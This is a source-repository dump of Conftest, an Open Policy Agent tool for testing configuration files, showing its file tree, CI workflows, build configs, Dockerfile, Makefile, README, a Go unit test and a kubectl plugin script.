├── .dockerignore ├── .github ├── dependabot.yml └── workflows │ ├── pr.yaml │ └── release.yaml ├── .gitignore ├── .golangci.yaml ├── .goreleaser.yml ├── .pre-commit-hooks.yaml ├── .regal └── config.yaml ├── CODE_OF_CONDUCT.md ├── CONTRIBUTING.md ├── DEVELOPMENT.md ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── SECURITY.md ├── acceptance.bats ├── builtins ├── parse_config.go └── parse_config_test.go ├── contrib └── plugins │ └── kubectl │ ├── kubectl-conftest.sh │ └── plugin.yaml ├── docs ├── README.md ├── debug.md ├── documentation.md ├── examples.md ├── exceptions.md ├── index.md ├── install.md ├── options.md ├── plugins.md └── sharing.md ├── document ├── document.go ├── metadata.go ├── metadata_test.go ├── resources │ └── document.md ├── template.go ├── template_test.go └── testdata │ ├── doc │ └── foo.md │ ├── foo │ ├── bar │ │ └── bizz.rego │ ├── base.rego │ └── base_test.rego │ └── template.md ├── downloader ├── downloader.go ├── downloader_test.go ├── oci_detector.go ├── oci_detector_test.go └── oci_getter.go ├── examples ├── README.md ├── awssam │ ├── lambda.yaml │ └── policy │ │ └── policy.rego ├── builtin-errors │ └── invalid-dns.rego ├── capabilities │ ├── capabilities.json │ └── malicious.rego ├── combine │ ├── policy │ │ └── duplicate.rego │ ├── team.yaml │ ├── user1.yaml │ ├── user2.yaml │ └── users.yaml ├── compose │ ├── docker-compose-valid.yml │ ├── docker-compose.yml │ └── policy │ │ └── deny.rego ├── configfile │ ├── conftest.toml │ ├── deployment.yaml │ └── test │ │ ├── deny.rego │ │ └── kubernetes.rego ├── cue │ ├── deployment.cue │ └── policy │ │ └── base.rego ├── cyclonedx │ ├── cyclonedx.json │ ├── cyclonedx.xml │ └── policy │ │ └── policy.rego ├── data │ ├── exclusions │ │ └── services.yaml │ ├── policy │ │ ├── base.rego │ │ └── base_test.rego │ └── service.yaml ├── docker │ ├── Dockerfile │ └── policy │ │ ├── commands.rego │ │ └── images.rego ├── dotenv │ ├── policy │ │ ├── dotenv.rego │ │ └── dotenv_test.rego │ └── sample.env ├── edn │ ├── policy │ │ └── deny.rego │ └── sample_config.edn ├── exceptions │ ├── deployments.yaml │ └── policy │ │ ├── exception.rego │ │ └── policy.rego ├── hcl1 │ ├── .gitignore │ ├── Makefile │ ├── gke-plan.tfplan │ ├── gke-show.json │ ├── gke.tf │ └── policy │ │ ├── base.rego │ │ ├── gke.rego │ │ └── gke_combine.rego ├── hcl2 │ ├── policy │ │ ├── deny.rego │ │ ├── deny_test.rego │ │ └── unencrypted_azure_disk.tf │ └── terraform.tf ├── hocon │ ├── hocon.conf │ └── policy │ │ └── deny.rego ├── ignore │ ├── dockerignore │ │ ├── .dockerignore │ │ └── policy │ │ │ └── deny.rego │ └── gitignore │ │ ├── .gitignore │ │ └── policy │ │ └── deny.rego ├── ini │ ├── grafana.ini │ └── policy │ │ └── deny.rego ├── jsonnet │ ├── arith.jsonnet │ └── policy │ │ └── deny.rego ├── kubernetes │ ├── combine │ │ ├── combine.rego │ │ ├── combine.yaml │ │ ├── combine_test.rego │ │ ├── deployment.yaml │ │ └── service.yaml │ ├── deployment+service.yaml │ ├── deployment.yaml │ ├── policy │ │ ├── base_test.rego │ │ ├── deny.rego │ │ ├── kubernetes.rego │ │ ├── labels.rego │ │ ├── violation.rego │ │ └── warn.rego │ └── service.yaml ├── kustomize │ ├── Makefile │ ├── configMap.yaml │ ├── deployment.yaml │ ├── kustomization.yaml │ ├── policy │ │ └── base.rego │ └── service.yaml ├── properties │ ├── policy │ │ └── test.rego │ └── sample.properties ├── report │ ├── fail │ │ └── failing_test.rego │ ├── policy │ │ └── labels.rego │ ├── policy_print │ │ └── labels.rego │ └── success │ │ └── success_test.rego ├── serverless │ ├── policy │ │ └── base.rego │ └── serverless.yaml ├── spdx │ ├── policy │ │ └── policy.rego │ └── sbom.spdx ├── strict-rules │ └── policy │ │ └── lenient.rego ├── textproto │ ├── fail.textproto │ ├── pass.textproto │ ├── policy │ │ └── over_9000.rego │ └── protos │ │ └── test.proto ├── traefik │ ├── policy │ │ ├── base.rego │ │ └── base_test.rego │ └── traefik.toml ├── ts │ ├── .gitignore │ ├── Makefile │ ├── package-lock.json │ ├── package.json │ ├── pod.ts │ └── policy │ │ └── deny.rego ├── vcl │ ├── policy │ │ └── deny.rego │ └── varnish.vcl └── xml │ ├── policy │ └── deny.rego │ └── pom.xml ├── go.mod ├── go.sum ├── internal ├── commands │ ├── default.go │ ├── document.go │ ├── fmt.go │ ├── parse.go │ ├── plugin.go │ ├── plugin_install.go │ ├── pull.go │ ├── push.go │ ├── test.go │ └── verify.go ├── network │ ├── network.go │ └── network_test.go └── registry │ ├── client.go │ ├── client_test.go │ └── config.json ├── main.go ├── mkdocs.yml ├── output ├── azuredevops.go ├── azuredevops_test.go ├── github.go ├── github_test.go ├── json.go ├── json_test.go ├── junit.go ├── junit_test.go ├── output.go ├── output_test.go ├── result.go ├── result_test.go ├── sarif.go ├── sarif_test.go ├── standard.go ├── standard_test.go ├── table.go ├── table_test.go ├── tap.go └── tap_test.go ├── parser ├── cue │ ├── cue.go │ └── cue_test.go ├── cyclonedx │ ├── cyclonedx.go │ └── cyclonedx_test.go ├── docker │ ├── docker.go │ └── docker_test.go ├── dotenv │ ├── dotenv.go │ └── dotenv_test.go ├── edn │ ├── edn.go │ └── edn_test.go ├── format.go ├── format_test.go ├── hcl1 │ ├── hcl1.go │ └── hcl1_test.go ├── hcl2 │ ├── convert_test.go │ └── hcl2.go ├── hocon │ ├── hocon.go │ └── hocon_test.go ├── ignore │ ├── ignore.go │ └── ignore_test.go ├── ini │ ├── ini.go │ └── ini_test.go ├── json │ ├── json.go │ └── json_test.go ├── jsonc │ ├── jsonc.go │ └── jsonc_test.go ├── jsonnet │ ├── jsonnet.go │ └── jsonnet_test.go ├── parser.go ├── parser_test.go ├── properties │ ├── properties.go │ └── properties_test.go ├── spdx │ ├── spdx.go │ └── spdx_test.go ├── textproto │ ├── textproto.go │ └── textproto_test.go ├── toml │ ├── toml.go │ └── toml_test.go ├── vcl │ ├── vcl.go │ └── vcl_test.go ├── xml │ ├── xml.go │ └── xml_test.go └── yaml │ ├── yaml.go │ └── yaml_test.go ├── plugin ├── install.go ├── install_test.go ├── plugin.go ├── plugin_test.go ├── xdg.go └── xdg_test.go ├── policy ├── engine.go └── engine_test.go ├── requirements-dev.txt ├── requirements.txt ├── runner ├── test.go └── verify.go ├── runtime.txt ├── scripts ├── push-pull-e2e.sh └── validate-conventional-commit-prefix.sh └── tests ├── README.md ├── annotations ├── exclusions │ └── services.yaml ├── policy │ ├── base.rego │ └── base_test.rego ├── service.yaml └── test.bats ├── builtin-errors ├── policy │ ├── main.rego │ └── main_test.rego └── test.bats ├── document ├── policy │ ├── base.rego │ ├── base_test.rego │ └── sub │ │ └── bar.rego ├── template.md.tpl └── test.bats ├── multidir ├── data.json ├── org │ └── main.rego ├── team │ └── main.rego └── test.bats ├── multiple-runs-with-update ├── file.json ├── policy │ └── main.rego ├── remote-policy │ └── policy.rego └── test.bats ├── multitype ├── deployment.yaml ├── grafana.ini ├── policy │ ├── base.rego │ ├── grafana.rego │ └── kubernetes.rego └── test.bats ├── nested ├── data.json ├── policy │ ├── group1 │ │ └── main.rego │ └── group2 │ │ └── main.rego └── test.bats ├── plugin └── test.bats ├── pre-commit ├── README.md └── test.bats ├── problematic-if ├── data.yaml ├── policy │ ├── invalid.rego │ ├── valid.rego │ └── valid_bare_deny.rego └── test.bats ├── pull-absolute-paths └── test.bats ├── rego-version ├── data.yaml ├── policy │ ├── v0.rego │ └── v1.rego └── test.bats └── return-multiple-failures ├── file.json ├── policy.rego └── test.bats /.dockerignore: -------------------------------------------------------------------------------- 1 | .git 2 | .github 3 | 4 | docs 5 | conftest* 6 | 7 | README.md 8 | CODE_OF_CONDUCT.md 9 | -------------------------------------------------------------------------------- /.github/dependabot.yml: -------------------------------------------------------------------------------- 1 | # Dependabot is used to keep track of the latest OPA releases so that 2 | # Conftest can use the most up to date engine. 3 | 4 | version: 2 5 | updates: 6 | - package-ecosystem: "gomod" 7 | directory: "/" 8 | allow: 9 | # OPA 10 | - dependency-name: "github.com/open-policy-agent/opa" 11 | # Upstream Parsers 12 | - dependency-name: "cuelang.org/go" 13 | - dependency-name: "github.com/BurntSushi/toml" 14 | - dependency-name: "github.com/CycloneDX/cyclonedx-go" 15 | - dependency-name: "github.com/cpuguy83/dockercfg" 16 | - dependency-name: "github.com/go-ini/ini" 17 | - dependency-name: "github.com/google/go-jsonnet" 18 | - dependency-name: "github.com/hashicorp/hcl" 19 | - dependency-name: "github.com/magiconair/properties" 20 | - dependency-name: "github.com/moby/buildkit" 21 | - dependency-name: "github.com/spdx/tools-golang" 22 | - dependency-name: "github.com/subosito/gotenv" 23 | # go-getter is used to fetch remote policies from various sources which occasionally has security fixes 24 | - dependency-name: "github.com/hashicorp/go-getter" 25 | schedule: 26 | interval: "daily" 27 | 28 | # Automatically open PRs to update the base images in the Dockerfile weekly 29 | - package-ecosystem: "docker" 30 | directory: "/" 31 | schedule: 32 | interval: "weekly" 33 | 34 | - package-ecosystem: "github-actions" 35 | directory: "/" 36 | schedule: 37 | interval: "weekly" 38 | -------------------------------------------------------------------------------- /.github/workflows/release.yaml: -------------------------------------------------------------------------------- 1 | name: tag 2 | 3 | on: 4 | push: 5 | tags: 6 | - 'v*' 7 | env: 8 | IMAGE: openpolicyagent/conftest 9 | PLATFORMS: linux/amd64,linux/arm64 10 | 11 | jobs: 12 | release: 13 | runs-on: ubuntu-latest 14 | steps: 15 | - name: checkout source 16 | uses: actions/checkout@v4 17 | with: 18 | fetch-depth: 0 19 | 20 | # It is important to check the GoReleaser config before pushing to 21 | # Dockerhub to avoid having mismatches between what is in Dockerhub 22 | # and GitHub releases. 23 | - name: check releaser config 24 | uses: goreleaser/goreleaser-action@v6 25 | with: 26 | args: check 27 | version: "~> v1" 28 | 29 | - name: login to docker hub 30 | uses: docker/login-action@v3 31 | with: 32 | username: ${{ secrets.DOCKER_LOGIN }} 33 | password: ${{ secrets.DOCKER_PASSWORD }} 34 | 35 | - name: get version 36 | id: get-version 37 | run: echo "VERSION=${GITHUB_REF#refs/tags/}" >> $GITHUB_OUTPUT 38 | 39 | - name: setup docker buildx 40 | run: docker buildx create --name conftestbuild --use 41 | 42 | - name: Build and push Docker image 43 | uses: docker/build-push-action@v6 44 | with: 45 | context: . 46 | push: true 47 | build-args: | 48 | VERSION=${{ steps.get-version.outputs.VERSION }} 49 | tags: | 50 | ${{ env.IMAGE }}:${{ steps.get-version.outputs.VERSION }} 51 | platforms: ${{ env.PLATFORMS }} 52 | 53 | - name: Build and push Docker latest image 54 | uses: docker/build-push-action@v6 55 | with: 56 | context: . 57 | push: true 58 | build-args: | 59 | VERSION=${{ steps.get-version.outputs.VERSION }} 60 | tags: | 61 | ${{ env.IMAGE }}:latest 62 | platforms: ${{ env.PLATFORMS }} 63 | 64 | - name: Build and push examples image 65 | uses: docker/build-push-action@v6 66 | with: 67 | context: . 68 | push: true 69 | target: examples 70 | tags: | 71 | ${{ env.IMAGE }}:examples 72 | platforms: ${{ env.PLATFORMS }} 73 | 74 | - name: setup go 75 | uses: actions/setup-go@v5 76 | with: 77 | go-version: "1.24.x" 78 | 79 | - name: release 80 | uses: goreleaser/goreleaser-action@v6 81 | with: 82 | args: release --clean 83 | version: "~> v1" 84 | env: 85 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | conftest 2 | conftest.exe 3 | dist 4 | site 5 | 6 | # IDEs 7 | .vscode 8 | .DS* 9 | .idea 10 | 11 | # NodeJS files/dirs created when installing bats 12 | node_modules/ 13 | package.json 14 | package-lock.json 15 | 16 | # ignore generated doc in tests 17 | /tests/document/*.md 18 | # ignore prospective golden files 19 | /document/testdata/doc/*.golden 20 | -------------------------------------------------------------------------------- /.golangci.yaml: -------------------------------------------------------------------------------- 1 | version: "2" 2 | linters: 3 | default: none 4 | enable: 5 | - errcheck 6 | - goconst 7 | - gosec 8 | - govet 9 | - ineffassign 10 | - makezero 11 | - misspell 12 | - nilerr 13 | - predeclared 14 | - revive 15 | - staticcheck 16 | - unconvert 17 | - unparam 18 | - unused 19 | - wastedassign 20 | settings: 21 | govet: 22 | enable: 23 | - nilness 24 | misspell: 25 | locale: US 26 | staticcheck: 27 | checks: 28 | # These are processed in order. It is important that the inclusion 29 | # comes before the exclusion. 30 | - all 31 | - -SA1019 32 | exclusions: 33 | generated: lax 34 | presets: 35 | - comments 36 | - common-false-positives 37 | - legacy 38 | - std-error-handling 39 | paths: 40 | - third_party$ 41 | - builtin$ 42 | - examples$ 43 | formatters: 44 | enable: 45 | - gofmt 46 | - goimports 47 | exclusions: 48 | generated: lax 49 | paths: 50 | - third_party$ 51 | - builtin$ 52 | - examples$ 53 | -------------------------------------------------------------------------------- /.goreleaser.yml: -------------------------------------------------------------------------------- 1 | version: 1 2 | 3 | before: 4 | hooks: 5 | - go mod download 6 | 7 | builds: 8 | - main: ./main.go 9 | env: 10 | - CGO_ENABLED=0 11 | goos: 12 | - windows 13 | - linux 14 | - darwin 15 | goarch: 16 | - amd64 17 | - arm64 18 | - ppc64le 19 | - s390x 20 | ldflags: 21 | - "-s" 22 | - "-w" 23 | - "-X github.com/open-policy-agent/conftest/internal/commands.version={{.Version}}" 24 | 25 | archives: 26 | - name_template: >- 27 | {{ .ProjectName }}_ 28 | {{- .Version }}_ 29 | {{- if eq .Os "linux" }}Linux 30 | {{- else if eq .Os "windows" }}Windows 31 | {{- else if eq .Os "darwin" }}Darwin 32 | {{- else }}{{ .Os }}{{ end }}_ 33 | {{- if eq .Arch "386" }}i386 34 | {{- else if eq .Arch "amd64" }}x86_64 35 | {{- else }}{{ .Arch }}{{ end }} 36 | format: tar.gz 37 | format_overrides: 38 | - goos: windows 39 | format: zip 40 | files: 41 | - LICENSE 42 | - README.md 43 | - plugin/*.sh 44 | 45 | checksum: 46 | name_template: 'checksums.txt' 47 | 48 | changelog: 49 | use: github 50 | groups: 51 | - title: New Features 52 | regexp: '^.*?feat(ure)?(\([[:word:]]+\))??!?:.+$' 53 | order: 0 54 | - title: Bug Fixes 55 | regexp: '^.*?(bug|fix)(\([[:word:]]+\))??!?:.+$' 56 | order: 1 57 | - title: OPA Changes 58 | regexp: '(?i)bump (opa|github.com/open-policy-agent/opa)' 59 | order: 5 60 | - title: Other Changes 61 | order: 999 62 | sort: asc 63 | filters: 64 | exclude: 65 | - '^.*?docs(\([[:word:]]+\))??!?:.+$' 66 | - '^.*?test(\([[:word:]]+\))??!?:.+$' 67 | - '^.*?misc(\([[:word:]]+\))??!?:.+$' 68 | - '^.*?typo(\([[:word:]]+\))??!?:.+$' 69 | - '(?i) typo( |\.|\r?\n)' 70 | 71 | # Publishes the deb and rpm files to the GitHub releases page. 72 | nfpms: 73 | - bindir: /usr/bin 74 | description: "Test your configuration using Open Policy Agent" 75 | formats: 76 | - deb 77 | - rpm 78 | homepage: https://github.com/open-policy-agent/conftest 79 | maintainer: jpreese 80 | license: Apache-2.0 81 | -------------------------------------------------------------------------------- /.pre-commit-hooks.yaml: -------------------------------------------------------------------------------- 1 | - id: conftest-test 2 | name: Conftest Test Policy Check 3 | description: Validate configuration files against Open Policy Agent policies using Conftest 4 | entry: conftest test 5 | language: golang 6 | pass_filenames: true 7 | require_serial: true 8 | minimum_pre_commit_version: "2.9.0" 9 | stages: [pre-commit, pre-merge-commit, pre-push, manual] 10 | 11 | - id: conftest-verify 12 | name: Conftest Verify Policy Tests 13 | description: Run Rego unit tests for Conftest policies 14 | entry: conftest verify 15 | language: golang 16 | pass_filenames: false 17 | require_serial: true 18 | minimum_pre_commit_version: "2.9.0" 19 | stages: [pre-commit, pre-merge-commit, pre-push, manual] 20 | -------------------------------------------------------------------------------- /.regal/config.yaml: -------------------------------------------------------------------------------- 1 | rules: 2 | idiomatic: 3 | no-defined-entrypoint: 4 | level: ignore 5 | imports: 6 | prefer-package-imports: 7 | level: error 8 | ignore-import-paths: 9 | - data.services 10 | style: 11 | line-length: 12 | non-breakable-word-threshold: 80 13 | opa-fmt: 14 | level: ignore 15 | prefer-some-in-iteration: 16 | level: ignore 17 | testing: 18 | test-outside-test-package: 19 | level: ignore 20 | -------------------------------------------------------------------------------- /CODE_OF_CONDUCT.md: -------------------------------------------------------------------------------- 1 | # Community Code of Conduct 2 | 3 | We follow the [CNCF Code of Conduct](https://github.com/cncf/foundation/blob/master/code-of-conduct.md). 4 | -------------------------------------------------------------------------------- /DEVELOPMENT.md: -------------------------------------------------------------------------------- 1 | # Development 2 | 3 | This document highlights the required tools and workflows to develop for Conftest. 4 | 5 | ## Tools 6 | 7 | ### Go 8 | 9 | Conftest is written in the [Go](https://golang.org) programming language, and can be installed from their [installation page](https://golang.org/doc/install). 10 | 11 | If you are not familiar with Go we recommend you read through the [How to Write Go Code](https://golang.org/doc/code.html) article to familiarize yourself with the standard Go development environment. 12 | 13 | ### Make 14 | 15 | [Make](https://www.gnu.org/software/make/) is used for local development and assists with running the builds and tests. 16 | 17 | Windows users can download Make from [here](http://gnuwin32.sourceforge.net/packages/make.htm) if not already installed. 18 | 19 | ### Bats 20 | 21 | [Bats](https://github.com/sstephenson/bats) is used for running the [acceptance tests](acceptance.bats). 22 | 23 | There are a few ways to install Bats: 24 | 25 | - Brew: `brew install bats-core` 26 | - npm: `npm install -g bats` 27 | 28 | ### GolangCI-lint 29 | 30 | [golangci-lint](https://golangci-lint.run/) is a Go linters aggregator and is used for running lint tasks. 31 | 32 | ## Building and Testing 33 | 34 | All build and testing workflows have `make` commands. 35 | 36 | - Build: `make build` 37 | 38 | - Test: `make test` 39 | 40 | - Acceptance: `make test-acceptance` 41 | 42 | - Run everything! `make all` 43 | -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM golang:1.24.3-alpine as base 2 | ARG TARGETARCH 3 | ARG VERSION 4 | ARG COMMIT 5 | ARG DATE 6 | RUN apk add --no-cache git 7 | WORKDIR /app 8 | 9 | COPY go.mod . 10 | COPY go.sum . 11 | RUN go mod download 12 | 13 | COPY . . 14 | 15 | ## BUILDER STAGE ## 16 | FROM base as builder 17 | RUN CGO_ENABLED=0 GOOS=linux GOARCH=${TARGETARCH} go build -o conftest -ldflags="-w -s -X github.com/open-policy-agent/conftest/internal/commands.version=${VERSION}" main.go 18 | 19 | ## TEST STAGE ## 20 | FROM base as test 21 | RUN go test -v ./... 22 | 23 | ## ACCEPTANCE STAGE ## 24 | FROM base as acceptance 25 | COPY --from=builder /app/conftest /app/conftest 26 | 27 | RUN apk add --no-cache npm bash 28 | RUN npm install -g bats 29 | 30 | RUN bats acceptance.bats 31 | 32 | ## EXAMPLES STAGE ## 33 | FROM base as examples 34 | ENV TERRAFORM_VERSION=0.12.31 \ 35 | KUSTOMIZE_VERSION=4.5.7 36 | 37 | COPY --from=builder /app/conftest /usr/local/bin 38 | COPY examples /examples 39 | 40 | WORKDIR /tmp 41 | RUN apk add --no-cache npm make git jq ca-certificates openssl unzip wget && \ 42 | wget "https://releases.hashicorp.com/terraform/${TERRAFORM_VERSION}/terraform_${TERRAFORM_VERSION}_linux_${TARGETARCH}.zip" && \ 43 | unzip "terraform_${TERRAFORM_VERSION}_linux_${TARGETARCH}.zip" -d /usr/local/bin 44 | 45 | RUN wget "https://github.com/kubernetes-sigs/kustomize/releases/download/kustomize%2Fv${KUSTOMIZE_VERSION}/kustomize_v${KUSTOMIZE_VERSION}_linux_${TARGETARCH}.tar.gz" && \ 46 | tar xvf kustomize_v${KUSTOMIZE_VERSION}_linux_${TARGETARCH}.tar.gz -C /usr/local/bin && \ 47 | chmod +x /usr/local/bin/kustomize 48 | 49 | RUN go install cuelang.org/go/cmd/cue@latest 50 | 51 | WORKDIR /examples 52 | 53 | ## RELEASE ## 54 | FROM alpine:3.21.3 55 | 56 | # Install git for protocols that depend on it when using conftest pull 57 | RUN apk add --no-cache git 58 | 59 | COPY --from=builder /app/conftest / 60 | RUN ln -s /conftest /usr/local/bin/conftest 61 | WORKDIR /project 62 | 63 | ENTRYPOINT ["/conftest"] 64 | CMD ["--help"] 65 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Conftest - Write tests against your config files 2 | 3 | Copyright (C) 2019 Gareth Rushgrove 4 | 5 | Licensed under the Apache License, Version 2.0 (the "License"); 6 | you may not use this file except in compliance with the License. 7 | You may obtain a copy of the License at 8 | 9 | https://www.apache.org/licenses/LICENSE-2.0 10 | 11 | Unless required by applicable law or agreed to in writing, software 12 | distributed under the License is distributed on an "AS IS" BASIS, 13 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | See the License for the specific language governing permissions and 15 | limitations under the License. 16 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | ROOT_DIR := ../.. 2 | 3 | OS := $(if $(GOOS),$(GOOS),$(shell go env GOOS)) 4 | 5 | BIN_EXTENSION := 6 | ifeq ($(OS), windows) 7 | BIN_EXTENSION := .exe 8 | endif 9 | 10 | BIN := conftest$(BIN_EXTENSION) 11 | 12 | IMAGE := openpolicyagent/conftest 13 | 14 | DOCKER := DOCKER_BUILDKIT=1 docker 15 | 16 | DOCKER_PLATFORMS := linux/amd64,linux/arm64 17 | 18 | GIT_VERSION := $(shell git describe --abbrev=4 --dirty --always --tags) 19 | 20 | ## All of the directories that contain tests to be executed 21 | ## e.g. echo $(TEST_DIRS) prints tests/foo tests/bar 22 | TEST_DIRS := $(patsubst tests/%/, tests/%, $(dir $(wildcard tests/**/.))) 23 | 24 | # 25 | ##@ Development 26 | # 27 | 28 | .PHONY: build 29 | build: ## Builds Conftest. 30 | @go build -ldflags="-X github.com/open-policy-agent/conftest/internal/commands.version=${GIT_VERSION}" 31 | 32 | .PHONY: test 33 | test: ## Tests Conftest. 34 | @go test -v ./... 35 | 36 | .PHONY: test-examples 37 | test-examples: build ## Runs the tests for the examples. 38 | @bats acceptance.bats 39 | 40 | .PHONY: test-acceptance 41 | test-acceptance: build install-test-deps ## Runs the tests in the test folder. 42 | @for testdir in $(TEST_DIRS) ; do \ 43 | cd $(CURDIR)/$$testdir && CONFTEST=$(ROOT_DIR)/$(BIN) bats test.bats || exit 1; \ 44 | done 45 | 46 | .PHONY: install-test-deps 47 | install-test-deps: ## Installs dependencies required for testing. 48 | @command -v pre-commit >/dev/null 2>&1 || python -m pip install -r requirements-dev.txt 49 | 50 | .PHONY: test-oci 51 | test-oci: ## Runs the OCI integration test for push and pull. 52 | @./scripts/push-pull-e2e.sh 53 | 54 | .PHONY: lint 55 | lint: ## Lints Conftest. 56 | @golangci-lint run --fix 57 | 58 | .PHONY: all 59 | all: lint build test test-examples test-acceptance ## Runs all linting and tests. 60 | 61 | help: 62 | @awk 'BEGIN {FS = ":.*##"; printf "\nUsage:\n make \033[36m\033[0m\n"} /^[$$()% a-zA-Z_-]+:.*?##/ { printf " \033[36m%-15s\033[0m %s\n", $$1, $$2 } /^##@/ { printf "\n\033[1m%s\033[0m\n", substr($$0, 5) } ' $(MAKEFILE_LIST) 63 | 64 | # 65 | ##@ Releases 66 | # 67 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Conftest 2 | 3 | [![Go Report Card](https://goreportcard.com/badge/open-policy-agent/opa)](https://goreportcard.com/report/open-policy-agent/conftest) [![Netlify](https://api.netlify.com/api/v1/badges/2d928746-3380-4123-b0eb-1fd74ba390db/deploy-status)](https://app.netlify.com/sites/vibrant-villani-65041c/deploys) 4 | 5 | Conftest helps you write tests against structured configuration data. Using Conftest you can 6 | write tests for your Kubernetes configuration, Tekton pipeline definitions, Terraform code, 7 | Serverless configs or any other config files. 8 | 9 | Conftest uses the Rego language from [Open Policy Agent](https://www.openpolicyagent.org/) for writing 10 | the assertions. You can read more about Rego in [How do I write policies](https://www.openpolicyagent.org/docs/how-do-i-write-policies.html) 11 | in the Open Policy Agent documentation. 12 | 13 | Here's a quick example. Save the following as `policy/deployment.rego`: 14 | 15 | ```rego 16 | package main 17 | 18 | deny contains msg if { 19 | input.kind == "Deployment" 20 | not input.spec.template.spec.securityContext.runAsNonRoot 21 | 22 | msg := "Containers must not run as root" 23 | } 24 | 25 | deny contains msg if { 26 | input.kind == "Deployment" 27 | not input.spec.selector.matchLabels.app 28 | 29 | msg := "Containers must provide app label for pod selectors" 30 | } 31 | ``` 32 | 33 | Assuming you have a Kubernetes deployment in `deployment.yaml` you can run Conftest like so: 34 | 35 | ```console 36 | $ conftest test deployment.yaml 37 | FAIL - deployment.yaml - Containers must not run as root 38 | FAIL - deployment.yaml - Containers must provide app label for pod selectors 39 | 40 | 2 tests, 0 passed, 0 warnings, 2 failures, 0 exceptions 41 | ``` 42 | 43 | Conftest isn't specific to Kubernetes. It will happily let you write tests for any configuration files in a variety of different formats. See the [documentation](https://www.conftest.dev/) for [installation instructions](https://www.conftest.dev/install/) and 44 | more details about the features. 45 | 46 | ## Want to contribute to Conftest? 47 | 48 | * See [DEVELOPMENT.md](DEVELOPMENT.md) to build and test Conftest itself. 49 | * See [CONTRIBUTING.md](CONTRIBUTING.md) to get started. 50 | 51 | For discussions and questions join us on the [Open Policy Agent Slack](https://slack.openpolicyagent.org/) 52 | in the `#opa-conftest` channel. 53 | -------------------------------------------------------------------------------- /SECURITY.md: -------------------------------------------------------------------------------- 1 | # Security 2 | 3 | See [https://github.com/open-policy-agent/opa/blob/main/SECURITY.md](https://github.com/open-policy-agent/opa/blob/main/SECURITY.md) 4 | -------------------------------------------------------------------------------- /builtins/parse_config_test.go: -------------------------------------------------------------------------------- 1 | package builtins 2 | 3 | import ( 4 | "context" 5 | "strings" 6 | "testing" 7 | 8 | "github.com/open-policy-agent/conftest/parser" 9 | "github.com/open-policy-agent/opa/ast" 10 | "github.com/open-policy-agent/opa/rego" 11 | ) 12 | 13 | func TestParseConfig(t *testing.T) { 14 | testCases := []struct { 15 | desc string 16 | parser string 17 | config string 18 | wantErrMsg string 19 | }{ 20 | { 21 | desc: "No parser supplied", 22 | wantErrMsg: "create config parser", 23 | }, 24 | { 25 | desc: "Invalid parser supplied", 26 | parser: "no-such-parser", 27 | wantErrMsg: "create config parser", 28 | }, 29 | { 30 | desc: "Invalid YAML", 31 | parser: parser.YAML, 32 | config: "```NOTVALID!", 33 | wantErrMsg: "unmarshal config", 34 | }, 35 | { 36 | desc: "Empty YAML", 37 | parser: parser.YAML, 38 | }, 39 | { 40 | desc: "Valid YAML", 41 | parser: parser.YAML, 42 | config: `some_field: some_value 43 | another_field: 44 | - arr1 45 | - arr2`, 46 | }, 47 | } 48 | 49 | for _, tc := range testCases { 50 | t.Run(tc.desc, func(t *testing.T) { 51 | pv, err := ast.InterfaceToValue(tc.parser) 52 | if err != nil { 53 | t.Fatalf("Could not convert parser %q to ast.Value: %v", tc.parser, err) 54 | } 55 | cv, err := ast.InterfaceToValue(tc.config) 56 | if err != nil { 57 | t.Fatalf("Could not convert config %q to ast.Value: %v", tc.config, err) 58 | } 59 | 60 | bctx := rego.BuiltinContext{Context: context.Background()} 61 | _, err = parseConfig(bctx, ast.NewTerm(pv), ast.NewTerm(cv)) 62 | if err == nil && tc.wantErrMsg == "" { 63 | return 64 | } 65 | if err != nil && tc.wantErrMsg == "" { 66 | t.Errorf("Error was returned when no error was expected: %v", err) 67 | return 68 | } 69 | if !strings.Contains(err.Error(), tc.wantErrMsg) { 70 | t.Errorf("Error %q does not contain expected string %q", err.Error(), tc.wantErrMsg) 71 | return 72 | } 73 | }) 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /contrib/plugins/kubectl/kubectl-conftest.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | # kubectl-conftest allows for testing resources in your cluster using Open Policy Agent 4 | # It uses the conftest utility and expects to find associated policy files in 5 | # a directory called policy 6 | 7 | # Check if a specified command exists on the path and is executable 8 | function check_command () { 9 | if ! [[ -x $(command -v "$1") ]] ; then 10 | echo "$1 not installed" 11 | exit 1 12 | fi 13 | } 14 | 15 | function usage () { 16 | echo "A Kubectl plugin for using Conftest to test objects in Kubernetes using Open Policy Agent" 17 | echo 18 | echo "See https://github.com/open-policy-agent/conftest for more information" 19 | echo 20 | echo "Usage:" 21 | echo " conftest kubectl (TYPE[.VERSION][.GROUP] [NAME] | TYPE[.VERSION][.GROUP]/NAME)" 22 | } 23 | 24 | # Check the required commands are available on the PATH 25 | check_command "kubectl" 26 | check_command "conftest" 27 | 28 | if [[ ($# -eq 0) || ($1 == "--help") || ($1 == "-h") ]]; then 29 | # No commands or the --help flag passed and we'll show the usage instructions 30 | usage 31 | elif [[ ($# -eq 1) && $1 =~ ^[a-z\.]+$ ]]; then 32 | # If we have one argument we get the list of objects from kubectl and pass the items to conftest 33 | check_command "jq" 34 | if output=$(kubectl get "$1" -o json); then 35 | echo "$output" | jq .items | conftest test - 36 | fi 37 | elif [[ ($# -eq 1 ) ]]; then 38 | # Support the / variant for getting an individual resource 39 | if output=$(kubectl get "$1" -o json); then 40 | echo "Testing $1" 41 | echo "$output" | conftest test - 42 | fi 43 | elif [[ ($# -eq 2 ) && $1 =~ ^[a-z]+$ ]]; then 44 | # if we have two arguments then we assume the first is the type and the second the resource name 45 | if output=$(kubectl get "$1" "$2" -o json); then 46 | echo "Testing $1/$2" 47 | echo "$output" | conftest test - 48 | fi 49 | else 50 | echo "Please check the arguments to kubectl conftest" 51 | echo 52 | usage 53 | exit 1 54 | fi 55 | -------------------------------------------------------------------------------- /contrib/plugins/kubectl/plugin.yaml: 